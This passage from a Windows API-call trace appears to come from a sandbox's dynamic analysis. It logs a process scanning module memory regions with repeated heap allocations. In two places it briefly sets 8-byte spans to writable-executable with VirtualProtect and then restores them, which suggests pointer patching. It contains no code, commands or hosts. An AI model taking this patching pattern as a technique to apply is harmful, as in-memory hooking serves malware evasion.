__alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.837] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.837] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7ea80 [0042.837] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ea80 | out: hHeap=0x9770000) returned 1 [0042.837] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7ea80 [0042.837] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ea80 | out: hHeap=0x9770000) returned 1 [0042.837] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7ea80 [0042.837] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ea80 | out: hHeap=0x9770000) returned 1 [0042.837] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7ea80 [0042.837] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ea80 | out: hHeap=0x9770000) returned 1 [0042.837] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9b50000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef9b50000, AllocationBase=0x7fef9b50000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.837] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.837] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7ea80 [0042.838] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ea80 | out: hHeap=0x9770000) returned 1 [0042.838] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7ea80 [0042.838] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ea80 | out: hHeap=0x9770000) returned 1 [0042.838] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7ea80 [0042.838] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ea80 | out: hHeap=0x9770000) returned 1 [0042.838] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7ea80 [0042.838] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ea80 | out: hHeap=0x9770000) returned 1 [0042.838] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9a50000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef9a50000, AllocationBase=0x7fef9a50000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.838] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.838] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7ea80 [0042.838] VirtualProtect (in: lpAddress=0x7fef9afa398, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x2) returned 1 [0042.839] VirtualProtect (in: lpAddress=0x7fef9afa398, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.840] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eaf0 [0042.840] VirtualProtect (in: lpAddress=0x7fef9afa3a0, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x2) returned 1 [0042.841] VirtualProtect (in: lpAddress=0x7fef9afa3a0, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.842] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.842] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.842] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.842] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.842] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9a40000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef9a40000, AllocationBase=0x7fef9a40000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.842] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.842] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.842] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.842] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.842] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.842] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.842] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.842] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.842] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.842] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9a30000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef9a30000, AllocationBase=0x7fef9a30000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.842] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.842] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.842] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.842] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.842] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.842] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.842] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.842] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.842] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.842] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9a20000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef9a20000, AllocationBase=0x7fef9a20000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.842] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.842] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.842] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.842] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.842] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.842] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.842] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.842] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.843] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.843] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9a10000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef9a10000, AllocationBase=0x7fef9a10000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.843] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.843] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.843] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.843] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.843] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.843] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.843] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.843] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.843] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.843] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9a00000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef9a00000, AllocationBase=0x7fef9a00000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.843] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.843] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.843] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.843] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.843] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.843] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.843] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.843] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.843] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.843] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef99f0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef99f0000, AllocationBase=0x7fef99f0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.843] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.843] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.843] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.843] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.843] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.843] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.843] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.843] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.843] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.843] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef99e0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef99e0000, AllocationBase=0x7fef99e0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.843] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.843] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.843] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.843] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.843] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.843] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.843] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.843] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.844] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.844] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef99d0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef99d0000, AllocationBase=0x7fef99d0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.844] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.844] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.844] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.844] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.844] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.844] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.844] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.844] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.844] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.844] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef99c0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef99c0000, AllocationBase=0x7fef99c0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.844] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.844] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.844] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.844] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.844] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.844] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.844] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.844] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.844] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.844] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef99b0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef99b0000, AllocationBase=0x7fef99b0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.844] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.844] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.844] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.844] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.844] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.844] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.844] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.844] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.844] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.844] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9910000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef9910000, AllocationBase=0x7fef9910000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.844] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.844] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.844] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.845] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.845] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.845] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.845] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.845] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.845] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.845] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9900000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef9900000, AllocationBase=0x7fef9900000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.845] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.845] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.845] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.845] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.845] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.845] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.845] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.845] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.845] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.845] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef98f0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef98f0000, AllocationBase=0x7fef98f0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x5000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.845] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.845] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.845] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.845] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.845] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.845] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.845] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.845] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.845] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.845] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef98e0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef98e0000, AllocationBase=0x7fef98e0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x5000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.845] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.845] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.845] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.845] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.846] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.846] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.846] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.846] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.846] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.846] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef98d0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef98d0000, AllocationBase=0x7fef98d0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.846] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.846] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.846] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.846] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.846] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7eb60 | out: hHeap=0x9770000) returned 1 [0042.846] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7eb60 [0042.846] HeapFree (in: hHeap=0x9770000, 